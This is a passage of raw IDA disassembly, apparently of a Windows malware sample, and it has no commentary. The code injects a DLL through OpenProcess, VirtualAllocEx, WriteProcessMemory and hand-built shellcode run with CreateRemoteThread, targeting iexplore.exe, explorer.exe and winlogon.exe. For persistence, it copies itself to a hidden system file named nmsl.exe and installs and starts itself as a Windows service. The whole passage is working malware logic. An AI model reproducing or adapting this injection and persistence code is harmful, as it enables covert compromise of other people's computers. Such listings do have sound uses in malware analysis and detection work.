		push	offset aVirtualallocex ; "VirtualAllocEx() ok\n"
		call	nullsub_2
		pop	ecx
		lea	ebx, [ebp+var_1000]
		mov	byte ptr [ebx],	68h
		inc	ebx
		mov	eax, esi
		add	eax, 50h
		mov	[ebx], eax
		add	ebx, 4
		mov	word ptr [ebx],	15FFh
		add	ebx, 2
		mov	eax, esi
		add	eax, 40h
		mov	[ebx], eax
		add	ebx, 4
		mov	byte ptr [ebx],	50h
		inc	ebx
		mov	word ptr [ebx],	15FFh
		add	ebx, 2
		mov	eax, esi
		add	eax, 44h
		mov	[ebx], eax
		push	offset aKernel32_dll ; "kernel32.dll"
		call	dword_411D70	; GetModuleHandleA
		mov	edi, eax
		lea	ebx, [ebp+var_1000]
		add	ebx, 40h
		push	offset aLoadlibrarya ; "LoadLibraryA"
		push	edi
		call	dword_411D74	; GetProcAddress
		mov	[ebx], eax
		add	ebx, 4
		push	offset aExitthread ; "ExitThread"
		push	edi
		call	dword_411D74	; GetProcAddress
		mov	[ebx], eax
		add	ebx, 4
		push	offset aGetlasterror ; "GetLastError"
		push	edi
		call	dword_411D74	; GetProcAddress
		mov	[ebx], eax
		lea	ebx, [ebp+var_1000]
		add	ebx, 50h
		push	[ebp+arg_4]
		push	ebx
		call	sub_407A00
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1004]
		push	eax
		push	1000h
		lea	eax, [ebp+var_1000]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	dword_411D78	; WriteProcessMemory
		test	eax, eax
		jz	short loc_40656F
		push	offset aWriteprocessme ; "WriteProcessMemory() ok\n"
		call	nullsub_2
		pop	ecx
		push	[ebp+arg_4]
		push	offset aS	; "<%s>\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1008]
		push	eax
		push	0
		push	0
		push	esi
		push	0
		push	0
		push	[ebp+arg_0]
		call	dword_411D7C	; CreateRemoteThread


loc_40656F:				; CODE XREF: sub_40644C+2Bj
					; sub_40644C+EEj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40644C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406576	proc near		; CODE XREF: sub_40663E+6Fp
					; sub_40670D+5Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		call	sub_4063D2
		push	[ebp+arg_0]
		push	0
		push	1F0FFFh
		call	dword_411D80	; OpenProcess
		mov	ebx, eax
		push	offset aProcessOpened_ ; "process opened.\n"
		call	nullsub_2
		pop	ecx
		test	ebx, ebx
		jz	loc_406636
		push	[ebp+arg_4]
		push	ebx
		call	sub_40644C
		pop	ecx
		pop	ecx
		mov	esi, eax
		test	esi, esi
		jz	short loc_40662F
		push	esi
		push	offset aThreadInjected ; "thread injected (%i).\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		push	0FFFFFFFFh
		push	esi
		call	dword_411D38	; WaitForSingleObject
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	dword_411D84	; GetExitCodeThread
		push	[ebp+var_4]
		push	offset aThreadComplete ; "thread complete (%i).\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		push	esi
		call	dword_411CFC	; CloseHandle
		push	ebx
		call	dword_411CFC	; CloseHandle
		cmp	[ebp+var_4], 20h
		jnb	short loc_4065FF
		xor	eax, eax
		jmp	short loc_406638
; ---------------------------------------------------------------------------


loc_4065FF:				; CODE XREF: sub_406576+83j
		push	[ebp+arg_4]
		push	offset aDllInjected ; "DLL injected!\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		cmp	dword_411058, 0
		jz	short loc_40662A
		push	dword_411058
		call	dword_411CFC	; CloseHandle
		and	dword_411058, 0


loc_40662A:				; CODE XREF: sub_406576+9Fj
		xor	eax, eax
		inc	eax
		jmp	short loc_406638
; ---------------------------------------------------------------------------


loc_40662F:				; CODE XREF: sub_406576+3Fj
		push	ebx
		call	dword_411CFC	; CloseHandle


loc_406636:				; CODE XREF: sub_406576+2Aj
		xor	eax, eax


loc_406638:				; CODE XREF: sub_406576+87j
					; sub_406576+B7j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_406576	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40663E	proc near		; CODE XREF: sub_406815+E6p

var_128		= dword	ptr -128h
var_120		= dword	ptr -120h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 128h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		call	sub_4063D2
		push	0
		push	2
		call	sub_40702C	; CreateToolhelp32Snapshot
		mov	edi, eax
		test	eax, eax
		jz	loc_406706
		mov	[ebp+var_128], 128h
		lea	eax, [ebp+var_128]
		push	eax
		push	edi
		call	sub_407032	; Process32First


loc_40667F:				; CODE XREF: sub_40663E+BDj
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	dword_411D3C	; lstrcmpi
		test	eax, eax
		jnz	short loc_4066EC
		push	esi
		lea	eax, [ebp+var_104]
		push	eax
		push	offset aTryingSWithS ; "trying <%s> with <%s>\n"
		call	nullsub_2
		add	esp, 0Ch
		push	esi
		push	[ebp+var_120]
		call	sub_406576
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4066D7
		lea	eax, [ebp+var_104]
		push	eax
		push	offset aS	; "<%s>\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		push	edi
		call	dword_411CFC	; CloseHandle
		xor	eax, eax
		inc	eax
		jmp	short loc_406706
; ---------------------------------------------------------------------------


loc_4066D7:				; CODE XREF: sub_40663E+78j
		push	esi
		lea	eax, [ebp+var_104]
		push	eax
		push	offset aTryingSWithSFa ; "trying <%s> with <%s>	failed\n"
		call	nullsub_2
		add	esp, 0Ch


loc_4066EC:				; CODE XREF: sub_40663E+51j
		lea	eax, [ebp+var_128]
		push	eax
		push	edi
		call	sub_407038	; Process32Next
		test	eax, eax
		jnz	short loc_40667F
		push	edi
		call	dword_411CFC	; CloseHandle
		xor	eax, eax


loc_406706:				; CODE XREF: sub_40663E+24j
					; sub_40663E+97j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40663E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40670D	proc near		; CODE XREF: sub_406815+FBp

var_128		= dword	ptr -128h
var_120		= dword	ptr -120h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 128h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		push	offset dword_41105C
		call	sub_40614F
		pop	ecx
		mov	ecx, 100h
		cdq
		idiv	ecx
		lea	esi, [edx+1]
		call	sub_4063D2
		jmp	short loc_4067A5
; ---------------------------------------------------------------------------


loc_406739:				; CODE XREF: sub_40670D+9Aj
		push	0
		push	2
		call	sub_40702C	; CreateToolhelp32Snapshot
		mov	edi, eax
		test	eax, eax
		jz	short loc_4067AB
		mov	[ebp+var_128], 128h
		lea	eax, [ebp+var_128]
		push	eax
		push	edi
		call	sub_407032	; Process32First


loc_40675F:				; CODE XREF: sub_40670D+8Fj
		dec	esi
		test	esi, esi
		jnz	short loc_40678D
		push	ebx
		push	[ebp+var_120]
		call	sub_406576
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_406782
		push	edi
		call	dword_411CFC	; CloseHandle
		xor	eax, eax
		inc	eax
		jmp	short loc_4067AB
; ---------------------------------------------------------------------------


loc_406782:				; CODE XREF: sub_40670D+67j
		push	edi
		call	dword_411CFC	; CloseHandle
		xor	eax, eax
		jmp	short loc_4067AB
; ---------------------------------------------------------------------------


loc_40678D:				; CODE XREF: sub_40670D+55j
		lea	eax, [ebp+var_128]
		push	eax
		push	edi
		call	sub_407038	; Process32Next
		test	eax, eax
		jnz	short loc_40675F
		push	edi
		call	dword_411CFC	; CloseHandle


loc_4067A5:				; CODE XREF: sub_40670D+2Aj
		test	esi, esi
		jnz	short loc_406739
		xor	eax, eax


loc_4067AB:				; CODE XREF: sub_40670D+39j
					; sub_40670D+73j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40670D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4067B2	proc near		; CODE XREF: sub_406815+45p
					; sub_406815+115p
		push	ebx
		push	dword_412970
		call	dword_411D54	; ResetEvent
		push	0
		push	0
		push	offset sub_406086
		call	sub_407CA0
		add	esp, 0Ch
		mov	ebx, eax
		push	2710h
		mov	eax, ebx
		push	eax
		call	dword_411D38	; WaitForSingleObject
		test	eax, eax
		jz	short loc_406807
		push	dword_411050
		call	sub_4014C2
		pop	ecx
		mov	dword_411050, 1
		mov	eax, ebx
		push	eax
		call	dword_411CFC	; CloseHandle
		xor	eax, eax
		jmp	short loc_406813
; ---------------------------------------------------------------------------


loc_406807:				; CODE XREF: sub_4067B2+30j
		mov	eax, ebx
		push	eax
		call	dword_411CFC	; CloseHandle
		xor	eax, eax
		inc	eax


loc_406813:				; CODE XREF: sub_4067B2+53j
		pop	ebx
		retn
sub_4067B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406815	proc near		; DATA XREF: sub_406A07+18o
					; DMN1:00447E8Ao

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		call	sub_4036F6
		test	eax, eax
		jnz	loc_4069FB
		call	sub_403658
		test	eax, eax
		jnz	loc_4069FB
		call	sub_4063D2
		push	dword_412970
		call	dword_411D54	; ResetEvent
		push	3E8h
		push	dword_412970
		call	dword_411D38	; WaitForSingleObject
		call	sub_4067B2
		test	eax, eax
		jz	short loc_406893
		push	3E8h
		call	dword_411D04	; Sleep
		push	offset aOldDllFoundWai ; "old DLL found; waiting for <DLL dies>	e"...
		call	nullsub_2
		pop	ecx
		push	0FFFFFFFFh
		push	dword_412970
		call	dword_411D38	; WaitForSingleObject
		push	dword_412970
		call	dword_411D54	; ResetEvent


loc_406893:				; CODE XREF: sub_406815+4Cj
		and	[ebp+var_C], 0
		mov	[ebp+var_8], 5
		mov	esi, [ebp+var_C]


loc_4068A1:				; CODE XREF: sub_406815+1BAj
		push	dword_412970
		call	dword_411D54	; ResetEvent
		cmp	esi, 2
		ja	short loc_4068DD
		test	esi, esi
		jz	short loc_4068C2
		cmp	esi, 1
		jz	short loc_4068CB
		cmp	esi, 2
		jz	short loc_4068D4
		jmp	short loc_4068E1
; ---------------------------------------------------------------------------


loc_4068C2:				; CODE XREF: sub_406815+9Fj
		mov	[ebp+var_4], offset aIexplore_exe ; "iexplore.exe"
		jmp	short loc_4068E1
; ---------------------------------------------------------------------------


loc_4068CB:				; CODE XREF: sub_406815+A4j
		mov	[ebp+var_4], offset aExplorer_exe ; "explorer.exe"
		jmp	short loc_4068E1
; ---------------------------------------------------------------------------


loc_4068D4:				; CODE XREF: sub_406815+A9j
		mov	[ebp+var_4], offset aWinlogon_exe ; "winlogon.exe"
		jmp	short loc_4068E1
; ---------------------------------------------------------------------------


loc_4068DD:				; CODE XREF: sub_406815+9Bj
		and	[ebp+var_4], 0


loc_4068E1:				; CODE XREF: sub_406815+ABj
					; sub_406815+B4j ...
		call	sub_40628E
		test	eax, eax
		jz	loc_4069D5
		cmp	esi, 2
		ja	short loc_406906
		push	offset dword_412974
		push	[ebp+var_4]
		call	sub_40663E
		pop	ecx
		pop	ecx
		mov	ebx, eax
		jmp	short loc_406921
; ---------------------------------------------------------------------------


loc_406906:				; CODE XREF: sub_406815+DCj
		mov	edi, 64h


loc_40690B:				; CODE XREF: sub_406815+10Aj
		push	offset dword_412974
		call	sub_40670D
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_406921
		dec	edi
		test	edi, edi
		jg	short loc_40690B


loc_406921:				; CODE XREF: sub_406815+EFj
					; sub_406815+105j
		inc	esi
		test	ebx, ebx
		jz	loc_4069A8
		call	sub_4067B2
		test	eax, eax
		jz	short loc_4069A8
		push	3E8h
		call	dword_411D04	; Sleep
		push	offset aWaitingForDllD ; "waiting for <DLL dies> event...\n"
		call	nullsub_2
		pop	ecx
		jmp	short loc_406958
; ---------------------------------------------------------------------------


loc_40694B:				; CODE XREF: sub_406815+159j
		call	sub_403658
		test	eax, eax
		jnz	loc_4069FB


loc_406958:				; CODE XREF: sub_406815+134j
		push	2BCh
		push	dword_412970
		call	dword_411D38	; WaitForSingleObject
		cmp	eax, 102h
		jz	short loc_40694B
		push	dword_412970
		call	dword_411D54	; ResetEvent
		mov	esi, [ebp+var_C]
		call	sub_403658
		test	eax, eax
		jz	short loc_40699D
		push	offset aDying	; "dying\n"
		call	nullsub_2
		pop	ecx
		push	1
		call	sub_407D70
		pop	ecx
		jmp	short loc_4069FB
; ---------------------------------------------------------------------------


loc_40699D:				; CODE XREF: sub_406815+171j
		push	offset aDllStopped___ ;	"DLL stopped...\n"
		call	nullsub_2
		pop	ecx


loc_4069A8:				; CODE XREF: sub_406815+10Fj
					; sub_406815+11Cj
		call	sub_4036F6
		test	eax, eax
		jnz	short loc_4069FB
		cmp	dword_411054, 0
		jz	short loc_4069CC
		push	offset dword_412974
		call	sub_407E20
		pop	ecx
		and	dword_411054, 0


loc_4069CC:				; CODE XREF: sub_406815+1A3j
		cmp	esi, [ebp+var_8]
		jle	loc_4068A1


loc_4069D5:				; CODE XREF: sub_406815+D3j
		push	offset aInjectionthrea ; "InjectionThread complete\n"
		call	nullsub_2
		pop	ecx
		cmp	dword_411054, 0
		jz	short loc_4069FB
		push	offset dword_412974
		call	sub_407E20
		pop	ecx
		and	dword_411054, 0


loc_4069FB:				; CODE XREF: sub_406815+10j
					; sub_406815+1Dj ...
		call	sub_407D30
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_406815	endp


; =============== S U B	R O U T	I N E =======================================



sub_406A07	proc near		; DATA XREF: sub_405C00+99o
					; sub_406A81+56Eo ...
		push	ebx
		push	0
		push	0
		push	1
		push	0
		call	dword_411D44	; CreateEventA
		mov	dword_412970, eax
		push	0
		push	0
		push	offset sub_406815
		call	sub_407CA0
		add	esp, 0Ch
		mov	ebx, eax
		push	0FFFFFFFFh
		mov	eax, ebx
		push	eax
		call	dword_411D38	; WaitForSingleObject
		mov	eax, ebx
		push	eax
		call	dword_411CFC	; CloseHandle
		push	0
		push	0
		push	offset sub_40356A
		call	sub_407CA0
		add	esp, 0Ch
		push	eax
		call	dword_411CFC	; CloseHandle
		push	1F4h
		call	dword_411D04	; Sleep
		push	0
		push	0
		push	offset sub_404CDF
		call	sub_407CA0
		add	esp, 0Ch
		push	0FFFFFFFFh
		push	eax
		call	dword_411D38	; WaitForSingleObject
		pop	ebx
		retn
sub_406A07	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406A81	proc near		; CODE XREF: sub_407019+1p

var_2004	= byte ptr -2004h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 2004h
		call	sub_407AC0
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_4], 0
		xor	esi, esi
		mov	off_41295C, offset aNmsl ; "NMSL"
		call	sub_40103C
		call	sub_401165
		call	sub_401097
		push	offset dword_413974
		call	dword_411CCC	; InitializeCriticalSection
		call	sub_401F8E
		mov	dword_412938, eax
		call	dword_411D94	; GetCommandLineA
		push	eax
		call	sub_40122A
		pop	ecx
		cmp	dword_411000, 4
		jnz	loc_406BBF
		push	offset aUpdate_0 ; "*update"
		push	dword_4128AC
		call	dword_411D3C	; lstrcmpi
		test	eax, eax
		jnz	loc_406BBF
		call	sub_403604
		mov	[ebp+var_8], eax
		call	sub_404162
		mov	eax, dword_411018
		push	eax
		push	[ebp+var_8]
		push	offset aShutdownmutexc ; "ShutdownMutexCreate()=%i, h=%i\r\n"
		call	nullsub_2
		add	esp, 0Ch
		push	offset aWaiting10SecsS ; "waiting 10 secs -- shutdown...\r\n"
		call	nullsub_2
		pop	ecx
		push	1770h
		call	dword_411D04	; Sleep
		call	sub_4053FC
		push	0FA0h
		call	dword_411D04	; Sleep
		call	sub_4053FC
		call	sub_403685
		and	[ebp+var_C], 0
		push	dword_4128A8
		push	dword_4128B4
		push	dword_4128B0
		push	offset aNewSOldSSelfS ;	"new=<%s>, old=<%s>, self=<%s>\r\n"
		call	nullsub_2
		add	esp, 10h
		lea	eax, [ebp+var_C]
		push	eax
		push	1
		push	0
		push	dword_4128B0
		call	sub_403723
		add	esp, 10h
		test	eax, eax
		jnz	short loc_406BB8
		push	0
		push	1
		push	0
		push	dword_4128B4
		call	sub_403723
		add	esp, 10h
		test	eax, eax
		jnz	short loc_406BB8
		push	0
		push	1
		push	0
		push	dword_4128A8
		call	sub_403723
		add	esp, 10h
		test	eax, eax
		jz	short loc_406BBF


loc_406BB8:				; CODE XREF: sub_406A81+105j
					; sub_406A81+11Dj
		xor	eax, eax
		jmp	loc_407012
; ---------------------------------------------------------------------------


loc_406BBF:				; CODE XREF: sub_406A81+58j
					; sub_406A81+71j ...
		call	sub_40410E
		test	eax, eax
		jz	short loc_406BCF
		xor	eax, eax
		jmp	loc_407012
; ---------------------------------------------------------------------------


loc_406BCF:				; CODE XREF: sub_406A81+145j
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe"
		push	dword_4128A8
		call	dword_411D3C	; lstrcmpi
		test	eax, eax
		jz	loc_406CB2
		push	offset aCopying___ ; "copying...\n"
		call	nullsub_2
		pop	ecx
		push	80h
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe"
		call	dword_411D2C	; SetFileAttributesA
		push	0
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe"
		push	dword_4128A8
		call	dword_411D28	; CopyFileA
		test	eax, eax
		jz	loc_406CA4
		push	7
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe"
		call	dword_411D2C	; SetFileAttributesA
		lea	edi, [ebp+var_2004]
		mov	byte ptr [edi],	22h
		inc	edi
		push	dword_4128A8
		push	edi
		call	sub_407A00
		pop	ecx
		pop	ecx
		push	dword_4128A8
		call	sub_4079E0
		pop	ecx
		add	edi, eax
		mov	byte ptr [edi],	22h
		inc	edi
		mov	byte ptr [edi],	0
		inc	edi
		lea	eax, [ebp+var_2004]
		push	eax
		push	offset aCmdlineS ; "cmdline: <%s>\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		call	sub_404162
		lea	eax, [ebp+var_2004]
		push	eax
		call	sub_405EBA
		pop	ecx
		test	eax, eax
		jz	short loc_406C89
		xor	eax, eax
		jmp	loc_407012
; ---------------------------------------------------------------------------


loc_406C89:				; CODE XREF: sub_406A81+1FFj
		push	offset aCreateprocessF ; "CreateProcess() failed %%-(\n"
		call	nullsub_2
		pop	ecx
		call	sub_40410E
		test	eax, eax
		jz	short loc_406CAF
		xor	eax, eax
		jmp	loc_407012
; ---------------------------------------------------------------------------


loc_406CA4:				; CODE XREF: sub_406A81+197j
		push	offset aCopyingFailed ;	"copying failed	%%-(\n"
		call	nullsub_2
		pop	ecx


loc_406CAF:				; CODE XREF: sub_406A81+21Aj
		xor	esi, esi
		inc	esi


loc_406CB2:				; CODE XREF: sub_406A81+161j
		call	sub_402296
		call	sub_405B8F
		push	0
		push	0
		call	sub_4023DC
		pop	ecx
		pop	ecx
		mov	dword_411004, eax
		push	offset aInitializingWi ; "initializing winsock library...\n"
		call	nullsub_2
		pop	ecx
		call	sub_4012EC
		cmp	dword_411000, 1
		jle	loc_406D83
		mov	eax, dword_4128AC
		cmp	byte ptr [eax],	2Ah
		jz	loc_406D83
		push	80h
		push	dword_4128AC
		call	dword_411D2C	; SetFileAttributesA
		push	dword_4128AC
		call	dword_411D50	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_406D67
		push	dword_4128AC
		push	offset aRemovingS ; "removing: <%s>\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		mov	edi, 0Ah
		jmp	short loc_406D60
; ---------------------------------------------------------------------------


loc_406D34:				; CODE XREF: sub_406A81+2E4j
		push	80h
		push	dword_4128AC
		call	dword_411D2C	; SetFileAttributesA
		push	dword_4128AC
		call	dword_411D1C	; DeleteFileA
		test	eax, eax
		jnz	short loc_406D67
		push	3E8h
		call	dword_411D04	; Sleep


loc_406D60:				; CODE XREF: sub_406A81+2B1j
		dec	edi
		mov	eax, edi
		test	eax, eax
		jnz	short loc_406D34


loc_406D67:				; CODE XREF: sub_406A81+298j
					; sub_406A81+2D2j
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe"
		push	dword_4128A8
		call	dword_411D3C	; lstrcmpi
		test	eax, eax
		jnz	short loc_406D83
		mov	[ebp+var_4], 1


loc_406D83:				; CODE XREF: sub_406A81+262j
					; sub_406A81+270j ...
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe"
		push	dword_4128A8
		call	dword_411D3C	; lstrcmpi
		test	eax, eax
		jnz	short loc_406DE1
		push	offset asc_40E58E ; "**"
		push	dword_4128AC
		call	dword_411D3C	; lstrcmpi
		test	eax, eax
		jnz	short loc_406DE1
		push	offset aWaiting___ ; "*** waiting...\n"
		call	nullsub_2
		pop	ecx
		mov	edi, 0Ah


loc_406DBD:				; CODE XREF: sub_406A81+353j
		call	sub_405048
		test	eax, eax
		jz	short loc_406DD6
		push	1F4h
		call	dword_411D04	; Sleep
		dec	edi
		test	edi, edi
		jnz	short loc_406DBD


loc_406DD6:				; CODE XREF: sub_406A81+343j
		push	offset aWaitingComplet ; "*** waiting complete...\n"
		call	nullsub_2
		pop	ecx


loc_406DE1:				; CODE XREF: sub_406A81+315j
					; sub_406A81+32Aj
		call	sub_405048
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_406E3A
		push	offset aNoRegisteredSe ; "no registered	service, "
		call	nullsub_2
		pop	ecx
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe"
		push	dword_4128A8
		call	dword_411D3C	; lstrcmpi
		test	eax, eax
		jnz	short loc_406E23
		mov	[ebp+var_4], 1
		push	offset aRegisterItAndR ; "register it and restart\n"
		call	nullsub_2
		pop	ecx
		jmp	loc_406EC4
; ---------------------------------------------------------------------------


loc_406E23:				; CODE XREF: sub_406A81+389j
		push	offset aDonTRegisterIt ; "DON'T register it\n"
		call	nullsub_2
		pop	ecx
		and	[ebp+var_4], 0
		xor	esi, esi
		inc	esi
		jmp	loc_406EC4
; ---------------------------------------------------------------------------


loc_406E3A:				; CODE XREF: sub_406A81+369j
		push	offset aRegisteredServ ; "registered service is	here...\n"
		call	nullsub_2
		pop	ecx
		call	sub_405092
		test	eax, eax
		jz	short loc_406E55
		xor	eax, eax
		jmp	loc_407012
; ---------------------------------------------------------------------------


loc_406E55:				; CODE XREF: sub_406A81+3CBj
		push	offset aRegisteredSe_0 ; "registered service is	not running.\n"
		call	nullsub_2
		pop	ecx
		call	sub_4040C3
		test	eax, eax
		jnz	short loc_406EC4
		push	offset aInstallingServ ; "installing service, res="
		call	nullsub_2
		pop	ecx
		call	sub_4052BA
		mov	[ebp+var_8], eax
		push	[ebp+var_8]
		push	offset aI	; "%i\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		call	sub_405441
		test	eax, eax
		jnz	short loc_406E99
		call	sub_405517


loc_406E99:				; CODE XREF: sub_406A81+411j
		call	sub_404162
		push	offset aStartingServic ; "starting service...\n"
		call	nullsub_2
		pop	ecx
		call	sub_4051E6
		test	eax, eax
		jz	short loc_406EB9
		xor	eax, eax
		jmp	loc_407012
; ---------------------------------------------------------------------------


loc_406EB9:				; CODE XREF: sub_406A81+42Fj
		push	offset aRegisteredSe_1 ; "registered service is	not running, unre"...
		call	nullsub_2
		pop	ecx


loc_406EC4:				; CODE XREF: sub_406A81+39Dj
					; sub_406A81+3B4j ...
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe"
		push	dword_4128A8
		call	dword_411D3C	; lstrcmpi
		test	eax, eax
		jnz	short loc_406F05
		cmp	[ebp+var_4], 0
		jz	short loc_406F05
		test	ebx, ebx
		jnz	short loc_406F05
		push	offset aInstallingSe_0 ; "installing service...\n"
		call	nullsub_2
		pop	ecx
		call	sub_4052BA
		test	eax, eax
		jz	short loc_406F05
		push	offset aServiceInstall ; "service installed ok...\n"
		call	nullsub_2
		pop	ecx
		xor	ebx, ebx
		inc	ebx


loc_406F05:				; CODE XREF: sub_406A81+456j
					; sub_406A81+45Cj ...
		test	ebx, ebx
		jz	short loc_406F12
		call	sub_4040C3
		test	eax, eax
		jz	short loc_406F3C


loc_406F12:				; CODE XREF: sub_406A81+486j
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe"
		push	dword_4128A8
		call	dword_411D3C	; lstrcmpi
		test	eax, eax
		jnz	short loc_406F6C
		push	offset asc_40E58E ; "**"
		push	dword_4128AC
		call	dword_411D3C	; lstrcmpi
		test	eax, eax
		jnz	short loc_406F6C


loc_406F3C:				; CODE XREF: sub_406A81+48Fj
		push	offset aStartingServic ; "starting service...\n"
		call	nullsub_2
		pop	ecx
		call	sub_404162
		call	sub_4051E6
		test	eax, eax
		jz	short loc_406F5C
		xor	eax, eax
		jmp	loc_407012
; ---------------------------------------------------------------------------


loc_406F5C:				; CODE XREF: sub_406A81+4D2j
		call	sub_40410E
		test	eax, eax
		jz	short loc_406F6C
		xor	eax, eax
		jmp	loc_407012
; ---------------------------------------------------------------------------


loc_406F6C:				; CODE XREF: sub_406A81+4A4j
					; sub_406A81+4B9j ...
		call	sub_405048
		test	eax, eax
		jz	short loc_406FC3
		call	sub_4040C3
		test	eax, eax
		jz	short loc_406FC3
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe"
		push	dword_4128A8
		call	dword_411D3C	; lstrcmpi
		test	eax, eax
		jnz	short loc_406FC3
		push	offset asc_40E58E ; "**"
		push	dword_4128AC
		call	dword_411D3C	; lstrcmpi
		test	eax, eax
		jz	short loc_406FC3
		push	offset aInitializingSe ; "initializing service startup sequence.."...
		call	nullsub_2
		pop	ecx
		call	sub_405E59
		test	eax, eax
		jz	short loc_406FC0
		xor	eax, eax
		jmp	short loc_407012
; ---------------------------------------------------------------------------


loc_406FC0:				; CODE XREF: sub_406A81+539j
		xor	esi, esi
		inc	esi


loc_406FC3:				; CODE XREF: sub_406A81+4F2j
					; sub_406A81+4FBj ...
		push	offset aNotDaemonized_ ; "not daemonized...\n"
		call	nullsub_2
		pop	ecx
		test	esi, esi
		jz	short loc_406FDE
		push	dword_4128A8
		call	sub_405B04
		pop	ecx


loc_406FDE:				; CODE XREF: sub_406A81+54Fj
		call	sub_40410E
		test	eax, eax
		jz	short loc_406FEB
		xor	eax, eax
		jmp	short loc_407012
; ---------------------------------------------------------------------------


loc_406FEB:				; CODE XREF: sub_406A81+564j
		push	0
		push	0
		push	offset sub_406A07
		call	sub_407CA0
		add	esp, 0Ch
		push	0FFFFFFFFh
		push	eax
		call	dword_411D38	; WaitForSingleObject
		push	offset dword_40E000
		call	nullsub_2
		pop	ecx
		xor	eax, eax


loc_407012:				; CODE XREF: sub_406A81+139j
					; sub_406A81+149j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_406A81	endp


; =============== S U B	R O U T	I N E =======================================



sub_407019	proc near		; CODE XREF: sub_407E30+C1p
		push	ebx
		call	sub_406A81
		mov	ebx, eax
		call	sub_404162
		mov	eax, ebx
		pop	ebx
		retn	10h
sub_407019	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40702C	proc near		; CODE XREF: sub_40663E+1Bp
					; sub_40670D+30p
		jmp	dword_411D88
sub_40702C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407032	proc near		; CODE XREF: sub_40663E+3Cp
					; sub_40670D+4Dp
		jmp	dword_411D8C
sub_407032	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407038	proc near		; CODE XREF: sub_40663E+B6p
					; sub_40670D+88p
		jmp	dword_411D90
sub_407038	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40703E	proc near		; CODE XREF: sub_4012EC+1Ap
					; sub_4012EC+34p
		jmp	dword_411E8C
sub_40703E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407044	proc near		; CODE XREF: DMN0:00401350p
		jmp	dword_411E90
sub_407044	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40704A	proc near		; CODE XREF: sub_401359+Bp
					; DMN0:004013DDp ...
		jmp	dword_411E94
sub_40704A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407050	proc near		; CODE XREF: sub_401359+36p
					; sub_401359+53p ...
		jmp	dword_411E98
sub_407050	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_407056	proc near		; CODE XREF: sub_4014C2+4p
					; sub_402B02+152p ...
		jmp	dword_411E9C
sub_407056	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40705C	proc near		; CODE XREF: sub_4014CF+56p
		jmp	dword_411EA0
sub_40705C	endp


; =============== S U B	R O U T	I N E =======================================

